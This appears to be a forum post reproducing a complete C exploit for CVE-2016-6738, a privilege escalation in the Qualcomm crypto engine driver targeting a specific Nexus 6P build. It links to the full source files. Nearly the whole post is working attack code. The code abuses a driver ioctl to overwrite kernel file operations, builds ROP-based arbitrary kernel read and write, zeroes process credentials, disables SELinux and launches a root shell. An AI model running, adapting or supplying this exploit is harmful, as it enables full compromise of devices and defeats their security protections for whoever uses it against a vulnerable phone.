Jump to content
Nytro

EXP-CVE-2016-6738 Qualcomm crypto engine privilege escalation

Recommended Posts

/*
 * Exploit for AndroidID-30034511, CVE-2016-6738
 * https://source.android.com/security/bulletin/2016-11-01
 *
 * Just for Nexus 6p MTC19X, if you want to run on other version, some symbol address should be changed
 *
 * shell@angler:/ $ getprop ro.build.fingerprint
 * google/angler/angler:6.0.1/MTC19X/2960136:user/release-keys
 *
 * By Gengjia Chen(chengjia4574@gmail.com, twitter: @chengjia4574)
 *
 * 7-12-2016
 */

#include <sys/types.h>  
#include <sys/ioctl.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>  
#include <fcntl.h>  
#include <errno.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include "qcedev.h"

#define ioctl_syscall(n, efd, cmd, arg) \
	eabi_syscall(n, efd, cmd, arg)


#define NEW_PROC_NAME		"My-Expl0it"
#define KERNEL_BASE		0xffffffc000000000

#define SELINUX_ENFORCING	0xffffffc0019de11c
#define INIT_TASK		0xffffffc00177f1a0

#define PTMX_MISC		0xffffffc001aa8580
#define PTMX_FOPS		0xffffffc001aa84a0

#define PTMX_LLSEEK		0xffffffc0002f7294
#define PTMX_READ		0xffffffc00052b954
#define PTMX_WRITE		0xffffffc00052befc
#define PTMX_POLL		0xffffffc00052bafc
#define PTMX_IOCTL		0xffffffc00052e0c4
#define COMPAT_PTMX_IOCTL	0xffffffc00052ba34
#define PTMX_OPEN		0xffffffc0005358b0
#define PTMX_RELEASE		0xffffffc00052d904
#define PTMX_FASYNC		0xffffffc00052b900

/*
 * rop read:
 * ffffffc000300060:       f9405440        ldr     x0, [x2,#168]
 * ffffffc000300064:       d65f03c0        ret
 */
#define ROP_READ	0xffffffc000300060

/*
 * rop write:
 * ffffffc000671a58:       b9000041        str     w1, [x2]
 * ffffffc000671a5c:       d65f03c0        ret
 */
#define ROP_WRITE	0xffffffc000671a58

static unsigned long my_task = 0;
static unsigned int task_offset = 680, comm_offset = 1248, cred_offset = 1240;

static int ptmx_fd = 0;
static unsigned long fake_ptmx_fops = 0;

static int kernel_read_32(unsigned long addr, unsigned int *val);
static int kernel_read(unsigned long addr, unsigned long *val);
static int kernel_write_32(unsigned long address, unsigned int value);
static int kernel_write(unsigned long addr, unsigned long val);

static int get_task_by_comm(unsigned long *task)
{
	unsigned int comm0, comm1, comm2;
	unsigned long task_list, init_task_list, addr;
	int i, ret = 0;
	char task_name[50] = {0};

	/* 
	 * follow the init_task->task list to search myself:
	 * next: swapper->init->kthreadd->... 
	 * pre:  swapper->...->myself->... 
	 */
	task_list = (INIT_TASK + task_offset);
	init_task_list = task_list;
	for(i=0; i<1000; i++) {
		/* search self process from tail */
		addr = task_list + 8;
		ret = kernel_read(addr, &task_list);

		if(task_list == init_task_list) {
			printf("search task list end, can't get task\n");
			return -1;
		}

		addr = task_list - task_offset + comm_offset;
		ret = kernel_read_32(addr, &comm0);

		addr = task_list - task_offset + comm_offset + 4;
		ret = kernel_read_32(addr, &comm1);

		addr = task_list - task_offset + comm_offset + 4 * 2;
		ret = kernel_read_32(addr, &comm2);

		memcpy(task_name, &comm0, 4);
		memcpy(task_name + 4, &comm1, 4);
		memcpy(task_name + 8, &comm2, 4);
		if(!strncmp(task_name, NEW_PROC_NAME, strlen(NEW_PROC_NAME))) {
			*task = task_list - task_offset;
			break;
		}

	}

	return 0;
}

static int do_root(void)
{
	int ret;
	unsigned long i, cred, addr;
	unsigned int tmp0;

	/* search myself */
	ret = get_task_by_comm(&my_task);
	if(ret != 0) {
		printf("[-] get myself fail!\n");
		return -1;
	}
	if(!my_task || (my_task < 0xffffffc000000000)) {
		printf("invalid task address!");
		return -2;
	}

	ret = kernel_read(my_task + cred_offset, &cred);
	if (cred < KERNEL_BASE) return -3;

	i = 1;
	addr = cred + 4 * 4;
	ret = kernel_read_32(addr, &tmp0);
	if(tmp0 == 0x43736564 || tmp0 == 0x44656144)
		i += 4;
	addr = cred + (i+0) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+1) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+2) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+3) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+4) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+5) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+6) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+7) * 4;
	ret = kernel_write_32(addr, 0);

	//securebits: cred[i+8]
	// for full capabilities
	addr = cred + (i+9) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+10) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+11) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+12) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+13) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+14) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+15) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+16) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	/* success! */

	// disable SELinux
	kernel_write_32(SELINUX_ENFORCING, 0);

	return 0;
}

static void restore(void)
{
	unsigned long addr;
	// restore ptmx_cdev->ops
	addr = PTMX_MISC + 8 * 9;
	kernel_write(addr, PTMX_FOPS);

}

static int kernel_write_32(unsigned long addr, unsigned int val)
{
	unsigned long arg;

	*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;

	arg = addr;
	ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg);
	return 0;
}

static int kernel_write(unsigned long addr, unsigned long val)
{
	unsigned int val32;

	val32 = (unsigned int)val;
	kernel_write_32(addr, val32);

	val32 = (unsigned int)((val >> 32) & 0xffffffff);
	kernel_write_32(addr + 4, val32);
	return 0;
}

static int kernel_read_32(unsigned long addr, unsigned int *val)
{
	int ret;
	unsigned long arg;

	*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_READ;
	arg = addr - 168;
	errno = 0;
	ret = ioctl_syscall(__NR_ioctl, ptmx_fd, 0xdeadbeef, arg);
	*val = ret;
	return 0;
}

static int kernel_read(unsigned long address, unsigned long *value)
{
	unsigned int val0, val1;

	kernel_read_32(address, &val0);
	kernel_read_32(address + 4, &val1);
	*value = ((unsigned long)val0 & 0xffffffff | ((unsigned long)val1 << 32) & 0xffffffff00000000);
}

static int rop_init(void)
{
	ptmx_fd = open("/dev/ptmx", O_RDONLY);
	if(ptmx_fd == -1) {
		printf("[-] Open ptmx fail (%s - %d)\n", strerror(errno), errno);
		return -1;
	}

	return 0;
}

static int rop_close(void)
{
	close(ptmx_fd);
	return 0;
}

static int qcedev_encrypt(int fd, unsigned long src, unsigned long *dst)
{
	int cmd;
	int ret;
	int size;
	struct qcedev_cipher_op_req params;

	size = sizeof(unsigned long);
	memset(&params, 0, sizeof(params));
        cmd = QCEDEV_IOCTL_ENC_REQ;
        params.entries = 1;
        //params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr
	params.alg = QCEDEV_ALG_DES;
        params.mode = QCEDEV_DES_MODE_ECB;
        params.op = QCEDEV_OPER_ENC;
        params.data_len = size;
        params.vbuf.src[0].len = size;
        params.vbuf.src[0].vaddr = &src;
        params.vbuf.dst[0].len = size;
        params.vbuf.dst[0].vaddr = dst;
        memcpy(params.enckey,"test", 16);
        params.encklen = 16;

	printf("[+] encrypt fake_ptmx_fops\n");
        ret = ioctl(fd, cmd, &params); // trigger 
        if(ret == -1) {
		printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno);
		return -1;
        }
	printf("[+] encrypt fake_ptmx_fops before = 0x%lx, after = 0x%lx\n", src, *dst);
	return 0;
}

static int qcedev_decrypt(int fd, unsigned long src, unsigned long *dst)
{
	int cmd;
	int ret;
	int size;
	struct qcedev_cipher_op_req params;

	size = sizeof(unsigned long);
	memset(&params, 0, sizeof(params));
        cmd = QCEDEV_IOCTL_DEC_REQ;
        params.entries = 1;
        //params.in_place_op = 1; 
	params.alg = QCEDEV_ALG_DES;
        params.mode = QCEDEV_DES_MODE_ECB;
        //params.op = QCEDEV_OPER_ENC;
        params.data_len = size;
        params.vbuf.src[0].len = size;
        params.vbuf.src[0].vaddr = &src;
        params.vbuf.dst[0].len = size;
        params.vbuf.dst[0].vaddr = dst;
        memcpy(params.enckey,"test", 16);
        params.encklen = 16;

	printf("[+] decrypt fake_ptmx_fops\n");
        ret = ioctl(fd, cmd, &params); // trigger 
        if(ret == -1) {
		printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno);
		return -1;
        }
	printf("[+] decrypt fake_ptmx_fops before = 0x%lx, after = 0x%lx\n", src, *dst);
	return 0;

}

static int trigger(int fd, unsigned long src)
{
	int cmd;
	int ret;
	int size;
	unsigned long dst;
	struct qcedev_cipher_op_req params;

	dst = PTMX_MISC + 8 * 9; // patch ptmx_cdev->ops
	size = sizeof(unsigned long);
	memset(&params, 0, sizeof(params));
        cmd = QCEDEV_IOCTL_DEC_REQ;
        params.entries = 1;
        params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr
	params.alg = QCEDEV_ALG_DES;
        params.mode = QCEDEV_DES_MODE_ECB;
        params.data_len = size;
        params.vbuf.src[0].len = size;
        params.vbuf.src[0].vaddr = &src;
        params.vbuf.dst[0].len = size;
        params.vbuf.dst[0].vaddr = dst;
        memcpy(params.enckey,"test", 16);
        params.encklen = 16;

	printf("[+] overwrite ptmx_cdev ops\n");
        ret = ioctl(fd, cmd, &params); // trigger 
        if(ret == -1) {
		printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno);
		return -1;
        }
	return 0;

}

#define SIZE 8 
static int get_root(void)
{
	int fd, i, ret = 0;
	void *map;
	unsigned int cmd;
	unsigned long edata = 0;
	unsigned long data = 0;
	struct qcedev_cipher_op_req params;

	fd = open("/dev/qce", O_RDONLY);
	if(fd == -1) {
		printf("[-] Open qcedev fail (%s - %d)\n", strerror(errno), errno);
		ret = -1;
		goto out;
	}
	printf("[+] open device qcedev\n");

        
	map = mmap(0x1000000, (size_t)0x10000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);
        if(map == MAP_FAILED) {
                printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno));
                ret = -1;
                goto out;
        }
        //printf("[+] landing mmap'ed @ %p\n", map);
        memset(map, 0x0, 0x10000);
	fake_ptmx_fops = map;
	printf("[+] fake_ptmx_fops = 0x%lx\n",fake_ptmx_fops);
	*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;
	*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;
	*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;
	*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;
	*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;
	*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;
	*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;
	*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;
	*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;


	qcedev_encrypt(fd, fake_ptmx_fops, &edata);
	trigger(fd, edata);

	rop_init();

	printf("[+] to get root ...\n");
	do_root();

	printf("[+] restore \n");
	restore();

	rop_close();
ioctl_out:
	close(fd);
out:
	return ret;
}

static void banner(void)
{
	printf("\n");
	printf("*****************************************************************\n");
	printf("*	     	Exploit for AndroidID-30034511			*\n");
	printf("*	        	For Nexus 6p MTC19X			*\n");
	printf("*			By Gengjia Chen 			*\n");
	printf("*			   7-12-2016				*\n");
	printf("*****************************************************************\n");
	printf("\n");
}

int main(void)
{
	int ret;

	banner();

	prctl(PR_SET_NAME, (unsigned long)NEW_PROC_NAME,0,0,0);

	ret = get_root();
	if(ret == -1) {
		printf("[-] get root fail\n");
		return -1;
	}
	printf("[+] SELinux disabled! \n");
	if (!setresuid(0, 0, 0)) {
		setresgid(0, 0, 0);
		printf("\n[+] Got it :)\n");
		printf("[+] uid=%d gid=%d\n", getuid(), getgid());
		sleep(1);
		ret = execl("/system/bin/sh", "/system/bin/sh", NULL);
		if( ret ) {
			printf("execl failed, errno %d\n", errno);
		}
	}
	return 0;
}

All files: https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2016-6738

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...